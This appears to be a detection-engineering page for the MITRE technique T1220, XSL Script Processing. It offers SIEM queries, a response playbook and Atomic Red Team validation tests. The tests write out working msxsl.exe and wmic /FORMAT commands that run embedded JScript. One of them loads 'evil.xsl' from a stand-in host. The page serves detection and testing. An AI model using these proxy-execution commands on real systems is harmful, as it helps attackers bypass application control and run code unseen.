XSL Script Processing
Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files support embedded scripting in JavaScript, VBScript, and other languages. Two primary abuse vectors exist: (1) msxsl.exe, Microsoft's command-line XSLT transformation utility, which can execute arbitrary JavaScript or VBScript embedded in local or remote XSL files; and (2) wmic.exe with the /FORMAT switch ('Squiblytwo'), which invokes JScript or VBScript within XSL via WMI. Both techniques leverage trusted Windows tooling to proxy malicious code execution while evading application control solutions such as AppLocker. Since msxsl.exe is not installed by default, adversaries typically drop it alongside their payloads. Real-world usage includes Astaroth, Cobalt Group, and Higaisa.
What is T1220 XSL Script Processing?
XSL Script Processing (T1220) maps to the Defense Evasion tactic — the adversary is trying to avoid being detected in MITRE ATT&CK.
This page provides production-ready detection logic for XSL Script Processing, covering the data sources and telemetry it touches: Process: Process Creation, Command: Command Execution, Microsoft Defender for Endpoint. The queries below are rated high severity at high confidence, and ship for 7 SIEM platforms — KQL, SPL, Elastic, QRadar, Sumo, YARA-L, LogScale.
MITRE ATT&CK
- Tactic
- Defense Evasion
- Technique
- T1220 XSL Script Processing
- Canonical reference
- https://attack.mitre.org/techniques/T1220/
let MsxslExecutions = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "msxsl.exe"
| extend RemoteXsl = ProcessCommandLine has_any ("http://", "https://", "ftp://", "\\\\")
| extend SameFileArg = extract(@"(\S+\.\w+)\s+\1", 0, ProcessCommandLine) != ""
| extend ArbitraryExt = ProcessCommandLine matches regex @"\.(jpeg|jpg|png|gif|txt|dat|bin|log)\s"
| extend Indicator = case(
RemoteXsl, "remote-xsl-load",
SameFileArg, "same-file-twice",
ArbitraryExt, "arbitrary-extension",
"local-xsl-exec")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteXsl, SameFileArg, ArbitraryExt, Indicator;
let WmicSquiblytwo = DeviceProcessEvents
| where Timestamp > ago(24h)
| where FileName =~ "wmic.exe"
| where ProcessCommandLine has "/FORMAT"
| where ProcessCommandLine has_any (".xsl", ".xslt", "http://", "https://")
| extend RemoteFormat = ProcessCommandLine has_any ("http://", "https://")
| extend LocalXslFormat = ProcessCommandLine matches regex @"/FORMAT[:\s]+\S*\.xsl"
| extend WmiAlias = extract(@"wmic\s+(\w+)\s+", 1, tolower(ProcessCommandLine))
| extend Indicator = iff(RemoteFormat, "squiblytwo-remote", "squiblytwo-local")
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine,
InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteFormat, LocalXslFormat, WmiAlias, Indicator;
union MsxslExecutions, WmicSquiblytwo
| sort by Timestamp desc Detects XSL Script Processing abuse via two primary vectors. First: any execution of msxsl.exe, which is not installed by default on Windows — all executions are suspicious. Identifies sub-patterns including remote XSL loading over HTTP/UNC, same-file-twice arguments (a known evasion trick), and arbitrary file extensions masking XSL content. Second: wmic.exe invocations with the /FORMAT switch referencing .xsl/.xslt files or remote URLs (Squiblytwo technique). Results from both detection branches are unioned for unified alerting.
Data Sources
Required Tables
False Positives
- Legitimate XSLT transformations performed by developers or build pipelines using msxsl.exe — rare since the tool is not installed by default
- WMIC reporting scripts that use /FORMAT with built-in XSL stylesheets from %SystemRoot%\System32\wbem\en-US\ (e.g., wmic process list /FORMAT:list.xsl)
- XML/XSLT tooling in CI/CD pipelines or data processing workflows that invoke msxsl.exe for document transformation
- System administration scripts that legitimately use wmic /FORMAT for structured output — verify the XSL path resolves to a known-good system location
Sigma rule & cross-platform mapping
The detection logic for XSL Script Processing (T1220) above is provided in a vendor-neutral
form so you can deploy it on any SIEM. The same logic is shipped here as native
KQL (Microsoft Sentinel / Defender), SPL (Splunk), Elastic (Elastic Security (EQL)), QRadar (IBM QRadar (AQL)), Sumo (Sumo Logic CSE), YARA-L (Google Chronicle / SecOps), LogScale (CrowdStrike LogScale (CQL)) queries. In Sigma terms, this detection targets the
following logsource:
logsource:
category: process_creation
product: windows Browse the community-maintained Sigma rules for this technique:
Platform-specific guides for T1220
References (7)
- https://attack.mitre.org/techniques/T1220/
- https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/
- https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/
- https://lolbas-project.github.io/lolbas/Binaries/Wmic/
- https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script
- https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75
- https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1220/T1220.md
Testing Methodology
Validate this detection against 5 adversary techniques from Atomic Red Team. Each test below lists the behaviour to exercise and the telemetry you should expect to see. Executable commands and cleanup steps are available with Pro.
- Test 1msxsl.exe Local XSL Script Execution
Expected signal: Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine containing test.xml and test.xsl. Sysmon Event ID 7: Image Load for jscript.dll loaded by msxsl.exe, confirming JScript engine activation. Sysmon Event ID 1: Child process whoami.exe spawned by msxsl.exe (or WScript.Shell). Sysmon Event ID 11: File creation events for test.xml and test.xsl.
- Test 2msxsl.exe Same-File Argument Evasion
Expected signal: Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine showing the same filename appearing twice (e.g., 'selfref.xsl selfref.xsl'). Sysmon Event ID 7: Image Load for jscript.dll by msxsl.exe. Sysmon Event ID 11: File creation for selfref.xsl.
- Test 3Squiblytwo — wmic /FORMAT Remote XSL Execution
Expected signal: Sysmon Event ID 1: Process Create with Image=wmic.exe, CommandLine containing '/FORMAT' and 'http://127.0.0.1:19823/evil.xsl'. Sysmon Event ID 3: Network Connection attempt from wmic.exe to 127.0.0.1:19823 (connection refused, but event is logged). Sysmon Event ID 22: DNS query if a hostname is used instead of IP.
- Test 4Squiblytwo — wmic /FORMAT Local XSL File
Expected signal: Sysmon Event ID 1: Process Create with Image=wmic.exe, CommandLine containing '/FORMAT' and the %TEMP% path to wmic_test.xsl. Sysmon Event ID 7: jscript.dll loaded by wmic.exe. Sysmon Event ID 11: File creation for wmic_test.xsl.
- Test 5msxsl.exe Arbitrary Extension Masking
Expected signal: Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine containing '.jpeg' file extensions instead of .xsl. Sysmon Event ID 7: jscript.dll loaded by msxsl.exe. Sysmon Event ID 11: File creation events for data.jpeg and style.jpeg.
Response Playbook
Triage
- Confirm whether msxsl.exe exists on this endpoint at all — its mere presence may indicate adversary staging, since it is not installed by default. Check path: C:\Windows\System32\msxsl.exe or any non-standard path drop location.
- Examine the full command line — identify the XML source file and XSL stylesheet arguments. If both arguments are the same file, this is a known evasion trick (the XSL is valid XML, so wmic or msxsl treats it as both input and transform). If arguments have non-XSL extensions (.jpeg, .txt, .dat), the file likely contains embedded XSL with script blocks.
- For wmic /FORMAT detections: determine if the FORMAT argument points to a built-in system stylesheet (C:\Windows\System32\wbem\en-US\*.xsl) — these are low risk. Any path outside System32\wbem, any UNC path, or any HTTP/HTTPS URL is high risk.
- Identify the parent process — was msxsl.exe or wmic spawned by mshta.exe, wscript.exe, cscript.exe, an Office application, a browser, a document viewer, or an email client? These parent-child relationships are high-confidence indicators of phishing-initiated execution.
- Check network connections from the msxsl.exe or wmic.exe process — any outbound HTTP/HTTPS connection to a non-Microsoft IP indicates remote XSL payload retrieval or post-execution C2. Use: DeviceNetworkEvents | where InitiatingProcessFileName in~ ('msxsl.exe','wmic.exe')
- Inspect the XSL file content if accessible on disk — look for <msxsl:script> blocks, <ms:script> blocks, or embedded JScript/VBScript. The script block language is declared in the xmlns attribute (e.g., language="JScript").
- Review child processes spawned by msxsl.exe or wmic.exe — if cmd.exe, powershell.exe, mshta.exe, rundll32.exe, or any LOLBin was spawned as a child, the XSL executed a payload that initiated further activity.
Containment
- If remote XSL retrieval is confirmed: immediately block the source URL/domain at the web proxy and DNS filtering layer. Use the URL extracted from the /FORMAT argument or msxsl.exe command line.
- If payload execution is confirmed (child processes spawned, suspicious files written): isolate the endpoint from the network using EDR isolation to prevent lateral movement or C2 communication.
- If a compromised user account is identified (e.g., Office document opened by a specific user triggering msxsl.exe): disable the account in Active Directory and revoke all active sessions and tokens.
- Delete the dropped msxsl.exe binary from the endpoint if found in a non-standard path — this removes the adversary's execution proxy. Document the original path and hash before deletion.
- Quarantine any XSL, XML, or disguised files (.jpeg, .dat, .txt) associated with the execution — submit to sandbox for dynamic analysis and extract the embedded script payload for IOC extraction.
- If wmic.exe was used: consider blocking wmic.exe execution via AppLocker or Windows Defender Application Control (WDAC) on endpoints where WMI command-line use is not required.
Evidence Collection
- Process Creation Events — Sysmon Event ID 1 or Security Event ID 4688 (with command line auditing enabled) for msxsl.exe and the wmic.exe /FORMAT invocation, including full command line arguments.
- Network Connection Events — Sysmon Event ID 3 for outbound connections from msxsl.exe or wmic.exe to retrieve remote XSL files. Captures destination IP, port, and URL.
- File Creation Events — Sysmon Event ID 11 for any files written by msxsl.exe, wmic.exe, or their child processes. This captures any payloads written to disk post-execution.
- DNS Query Events — Sysmon Event ID 22 (DNS Query) for domain lookups made by msxsl.exe or wmic.exe, revealing C2 domains used in the /FORMAT remote URL.
- Child Process Events — all processes spawned by msxsl.exe or wmic.exe using parent process tracking in Sysmon Event ID 1 (ParentImage field).
- XSL/XML File Contents — if the referenced files are accessible on disk, collect them as forensic artifacts. Extract embedded script blocks from <msxsl:script> or <ms:script> elements.
- Prefetch Files — C:\Windows\Prefetch\MSXSL.EXE-*.pf and WMIC.EXE-*.pf contain execution timestamps and lists of files accessed during execution.
- WMI Logs — Microsoft-Windows-WMI-Activity/Operational event log for wmic.exe-based Squiblytwo invocations. Event ID 5857, 5858, 5859, 5860 record WMI provider activity.
- Image Load Events — Sysmon Event ID 7 for DLLs loaded by msxsl.exe, which may reveal the JScript/VBScript engine being invoked (jscript.dll, vbscript.dll) and any injected modules.
Escalation Criteria
- ! Remote XSL file retrieval confirmed — msxsl.exe or wmic.exe connected to an external URL to fetch the XSL payload, indicating adversary-controlled infrastructure.
- ! msxsl.exe found in a non-standard path (not C:\Windows\System32\ — and note, it is NOT a default Windows binary at all) — the binary was dropped by the adversary as part of their toolkit.
- ! Child process spawned by msxsl.exe or wmic.exe that is a shell (cmd.exe, powershell.exe), LOLBin, or known attack tool — confirms successful payload execution.
- ! Execution triggered by a document-handling parent process (WINWORD.EXE, EXCEL.EXE, OUTLOOK.EXE, mshta.exe, wscript.exe) — high confidence phishing or malicious document delivery.
- ! Same technique observed on multiple endpoints within a short time window — indicates automated propagation, lateral movement, or coordinated campaign activity.
- ! Astaroth or known Cobalt Group IOCs detected alongside the XSL execution — elevate to incident response immediately.
Investigation Guide
Forensic Artifacts
- >
File System: msxsl.exe binary on disk — if found, hash it (MD5/SHA256) and check against VirusTotal. Standard Windows installations do not include this binary. - >
File System: XSL/XML files referenced in command arguments — examine for <msxsl:script>, <ms:script>, or <xsl:value-of select='...'> elements containing embedded code. - >
File System: C:\Windows\Prefetch\MSXSL.EXE-*.pf — execution timestamp and files accessed (reveals XML/XSL filenames loaded during execution). - >
File System: C:\Windows\Prefetch\WMIC.EXE-*.pf — execution timestamp and files accessed during wmic /FORMAT invocation. - >
Registry: HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRU — recent Run dialog entries that may show msxsl.exe command lines if executed interactively. - >
Event Log: Microsoft-Windows-WMI-Activity/Operational — Event IDs 5857-5860 record WMI provider loads and errors triggered by wmic /FORMAT XSL execution. - >
Event Log: Microsoft-Windows-Sysmon/Operational — Event ID 7 (Image Load) for jscript.dll or vbscript.dll loaded by msxsl.exe or wmic.exe, confirming script engine invocation. - >
Network: Proxy/firewall logs for HTTP GET requests from msxsl.exe or wmic.exe to external URLs. The User-Agent may be 'Microsoft WinHTTP Services 5.1' or the MSXML HTTP client. - >
Memory: If endpoint is live, dump the msxsl.exe or wmic.exe process memory — the deobfuscated XSL script content may be present in heap memory even if the file was deleted.
Tuning Guidance
msxsl.exe detections should generate very few false positives since the binary is not installed by default. Any alert on msxsl.exe is worth investigating. For wmic /FORMAT detections, the primary source of false positives is legitimate use of built-in WMI stylesheets in System32\wbem. Build an allowlist excluding ProcessCommandLine values that contain 'system32\wbem' as the XSL path. Standard WMI output format keywords (/FORMAT:list, /FORMAT:table, /FORMAT:csv, /FORMAT:value, /FORMAT:rawxml) are low-risk when they resolve to system paths — these can be suppressed. Never suppress /FORMAT references to HTTP/HTTPS URLs or UNC paths. For environments where msxsl.exe is legitimately used by development or build teams, create an allowlist based on the exact parent process (e.g., devenv.exe, msbuild.exe) and the full XSL file path (must resolve to a versioned, source-controlled path). Enable Sysmon Event ID 7 (Image Load) to detect jscript.dll and vbscript.dll loads by msxsl.exe and wmic.exe — this confirms script engine invocation and strengthens alert fidelity. Consider deploying Windows Defender Application Control (WDAC) or AppLocker rules to block msxsl.exe execution on endpoints where XML/XSLT processing is not a legitimate use case, which is most endpoints.
Hunting Queries
Hunt for any msxsl.exe execution across the environment over 7 days — since this binary is not installed by default on Windows, any execution is a finding worth investigating. Aggregates by device to identify first-seen hosts and unusual execution patterns.
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "msxsl.exe"
| summarize ExecutionCount=count(),
UniqueDevices=dcount(DeviceName),
UniqueUsers=dcount(AccountName),
UniqueParents=dcount(InitiatingProcessFileName),
CommandLines=make_set(ProcessCommandLine, 10),
ParentProcesses=make_set(InitiatingProcessFileName, 10)
by DeviceName
| sort by ExecutionCount desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\msxsl.exe"
| stats count as ExecutionCount, dc(host) as UniqueDevices, dc(User) as UniqueUsers, values(CommandLine) as CommandLines, values(ParentImage) as ParentProcesses by host
| sort - ExecutionCount Hunt for network connections originating from msxsl.exe or wmic.exe to public IP addresses. Any external connection from these processes indicates remote XSL payload retrieval or post-execution C2 — this pattern is closely associated with Astaroth malware's download behavior.
DeviceNetworkEvents
| where Timestamp > ago(7d)
| where InitiatingProcessFileName in~ ("msxsl.exe", "wmic.exe")
| where RemoteIPType == "Public"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine,
RemoteIP, RemotePort, RemoteUrl, Protocol
| sort by Timestamp desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=3
(Image="*\\msxsl.exe" OR Image="*\\wmic.exe")
NOT (DestinationIp="10.*" OR DestinationIp="172.16.*" OR DestinationIp="172.17.*" OR DestinationIp="172.18.*" OR DestinationIp="172.19.*" OR DestinationIp="172.20.*" OR DestinationIp="172.21.*" OR DestinationIp="172.22.*" OR DestinationIp="172.23.*" OR DestinationIp="172.24.*" OR DestinationIp="172.25.*" OR DestinationIp="172.26.*" OR DestinationIp="172.27.*" OR DestinationIp="172.28.*" OR DestinationIp="172.29.*" OR DestinationIp="172.30.*" OR DestinationIp="172.31.*" OR DestinationIp="192.168.*" OR DestinationIp="127.*")
| table _time, host, User, Image, CommandLine, DestinationIp, DestinationPort, DestinationHostname
| sort - _time Hunt for wmic.exe /FORMAT invocations that reference non-standard XSL locations — excluding known built-in System32 wbem stylesheets and standard format keywords. This surfaces Squiblytwo attempts where the FORMAT argument points to attacker-controlled local paths or remote URLs not visible in the main detection (e.g., UNC paths, temp directories, user-writable locations).
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "wmic.exe"
| where ProcessCommandLine has "/FORMAT"
| where not(ProcessCommandLine matches regex @"/FORMAT:\s*(list|table|csv|htable|hform|rawxml|value|MOF)\.xsl")
| where not(ProcessCommandLine has "System32\\wbem")
| project Timestamp, DeviceName, AccountName, ProcessCommandLine, InitiatingProcessFileName, InitiatingProcessCommandLine
| sort by Timestamp desc index=wineventlog sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1 Image="*\\wmic.exe" CommandLine="*/format*"
NOT (CommandLine="*system32\\wbem*" OR CommandLine="*/format:list*" OR CommandLine="*/format:table*" OR CommandLine="*/format:csv*" OR CommandLine="*/format:value*" OR CommandLine="*/format:rawxml*" OR CommandLine="*/format:htable*")
| table _time, host, User, CommandLine, ParentImage, ParentCommandLine
| sort - _time Atomic Red Team Tests
Downloads msxsl.exe and executes a local XSL file containing an embedded JScript block that runs whoami. Simulates the core msxsl.exe abuse technique used by Cobalt Group and Higaisa. The XSL file is created on disk with an embedded <msxsl:script> block invoking the Windows Scripting Host shell to run a command. msxsl.exe must be downloaded separately from the Microsoft Download Center as it is not included with Windows.
Command
echo ^<?xml version="1.0"?^> > %TEMP%\test.xml && echo ^<root^>test^</root^> >> %TEMP%\test.xml && echo ^<?xml version="1.0"?^> > %TEMP%\test.xsl && echo ^<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"^> >> %TEMP%\test.xsl && echo ^<msxsl:script language="JScript" implements-prefix="user"^> >> %TEMP%\test.xsl && echo function xml(nodelist){var oShell=new ActiveXObject('WScript.Shell');return oShell.Exec('whoami').StdOut.ReadAll();}>> %TEMP%\test.xsl && echo ^</msxsl:script^> >> %TEMP%\test.xsl && echo ^<xsl:template match="/"^>^<xsl:value-of select="user:xml(.)" /^>^</xsl:template^> >> %TEMP%\test.xsl && echo ^</xsl:stylesheet^> >> %TEMP%\test.xsl && msxsl.exe %TEMP%\test.xml %TEMP%\test.xsl Cleanup
del %TEMP%\test.xml %TEMP%\test.xsl 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine containing test.xml and test.xsl. Sysmon Event ID 7: Image Load for jscript.dll loaded by msxsl.exe, confirming JScript engine activation. Sysmon Event ID 1: Child process whoami.exe spawned by msxsl.exe (or WScript.Shell). Sysmon Event ID 11: File creation events for test.xml and test.xsl.
Expected Detection
Main detection fires on msxsl.exe execution with local XSL argument. KQL: MsxslExecutions branch matches, Indicator='local-xsl-exec'. SPL: is_msxsl=1, TechniqueVariant='msxsl-local-xsl', RiskScore >= 1.
Executes msxsl.exe with the same file used as both the XML source and XSL stylesheet — a documented evasion trick since a valid XSL file is also valid XML. This variant is referenced in ATT&CK and used to confuse process monitoring tools that expect two distinct file arguments. Creates a minimal XSL file that is simultaneously valid XML and a valid stylesheet.
Command
echo ^<?xml version="1.0"?^><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="urn:my-scripts"^><msxsl:script language="JScript" implements-prefix="user"^>function xml(n){return '';}^</msxsl:script^><xsl:template match="/"^>^<xsl:value-of select="user:xml(.)" /^>^</xsl:template^>^</xsl:stylesheet^> > %TEMP%\selfref.xsl && msxsl.exe %TEMP%\selfref.xsl %TEMP%\selfref.xsl Cleanup
del %TEMP%\selfref.xsl 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine showing the same filename appearing twice (e.g., 'selfref.xsl selfref.xsl'). Sysmon Event ID 7: Image Load for jscript.dll by msxsl.exe. Sysmon Event ID 11: File creation for selfref.xsl.
Expected Detection
KQL: MsxslExecutions branch matches, SameFileArg=true, Indicator='same-file-twice'. SPL: is_msxsl=1, SameFileArg=1, TechniqueVariant='msxsl-same-file', RiskScore >= 2. The regex pattern matching the same filename appearing twice in the command line triggers the enrichment flag.
Executes the Squiblytwo technique using wmic.exe with a /FORMAT argument pointing to a remote URL. This technique abuses wmic.exe, a built-in Windows binary present on all Windows versions, to download and execute JScript or VBScript embedded in a remote XSL file. The URL target is localhost on an unused port — the connection will fail but the process creation telemetry still fires for detection validation. In real attacks, this URL points to adversary-controlled infrastructure (used by Astaroth for C2 staging).
Command
wmic os get /FORMAT:"http://127.0.0.1:19823/evil.xsl" Expected Telemetry
Sysmon Event ID 1: Process Create with Image=wmic.exe, CommandLine containing '/FORMAT' and 'http://127.0.0.1:19823/evil.xsl'. Sysmon Event ID 3: Network Connection attempt from wmic.exe to 127.0.0.1:19823 (connection refused, but event is logged). Sysmon Event ID 22: DNS query if a hostname is used instead of IP.
Expected Detection
KQL: WmicSquiblytwo branch matches, RemoteFormat=true, Indicator='squiblytwo-remote'. SPL: is_wmic_format=1, RemoteLoad=1, TechniqueVariant='squiblytwo-remote', RiskScore >= 2. Network hunting query also matches via Sysmon Event ID 3.
Executes the Squiblytwo technique using wmic.exe with a /FORMAT argument pointing to a local XSL file outside the standard System32\wbem path. This is a lower-privilege variant that does not require network access but still executes attacker-controlled XSL scripts. Validates detection of local-path Squiblytwo invocations that would evade detections relying solely on remote URL matching.
Command
echo ^<?xml version="1.0"?^> > %TEMP%\wmic_test.xsl && echo ^<stylesheet version="1.0" xmlns="http://www.w3.org/1999/XSL/Transform" xmlns:ms="urn:schemas-microsoft-com:xslt" xmlns:user="placeholder"^> >> %TEMP%\wmic_test.xsl && echo ^<ms:script implements-prefix="user" language="JScript"^>function donothing(){return '';} ^</ms:script^> >> %TEMP%\wmic_test.xsl && echo ^<template match="/"^>^</template^>^</stylesheet^> >> %TEMP%\wmic_test.xsl && wmic process list /FORMAT:%TEMP%\wmic_test.xsl Cleanup
del %TEMP%\wmic_test.xsl 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=wmic.exe, CommandLine containing '/FORMAT' and the %TEMP% path to wmic_test.xsl. Sysmon Event ID 7: jscript.dll loaded by wmic.exe. Sysmon Event ID 11: File creation for wmic_test.xsl.
Expected Detection
KQL: WmicSquiblytwo branch matches, LocalXslFormat=true, Indicator='squiblytwo-local'. SPL: is_wmic_format=1, XslFormat=1, TechniqueVariant='squiblytwo-local'. Tuning note: this fires only if the path is not under System32\wbem, distinguishing it from legitimate WMIC format usage.
Executes msxsl.exe with XSL content stored in files with arbitrary non-XSL extensions (.jpeg), simulating a technique used to bypass file-extension-based detections and confuse analysts performing triage. The file content is valid XSL/XML — the extension is irrelevant to msxsl.exe. This variant is explicitly documented in MITRE ATT&CK for T1220.
Command
echo ^<?xml version="1.0"?^> > %TEMP%\data.jpeg && echo ^<root^>data^</root^> >> %TEMP%\data.jpeg && echo ^<?xml version="1.0"?^><xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:user="u"^><msxsl:script language="JScript" implements-prefix="user"^>function f(n){return '';}^</msxsl:script^><xsl:template match="/"^>^<xsl:value-of select="user:f(.)" /^>^</xsl:template^>^</xsl:stylesheet^> > %TEMP%\style.jpeg && msxsl.exe %TEMP%\data.jpeg %TEMP%\style.jpeg Cleanup
del %TEMP%\data.jpeg %TEMP%\style.jpeg 2>nul Expected Telemetry
Sysmon Event ID 1: Process Create with Image=msxsl.exe, CommandLine containing '.jpeg' file extensions instead of .xsl. Sysmon Event ID 7: jscript.dll loaded by msxsl.exe. Sysmon Event ID 11: File creation events for data.jpeg and style.jpeg.
Expected Detection
KQL: MsxslExecutions branch matches, ArbitraryExt=true, Indicator='arbitrary-extension'. SPL: is_msxsl=1, ArbitraryExt=1, TechniqueVariant='msxsl-arbitrary-ext', RiskScore >= 2. The regex matching non-XSL extensions in msxsl.exe arguments triggers the enrichment flag.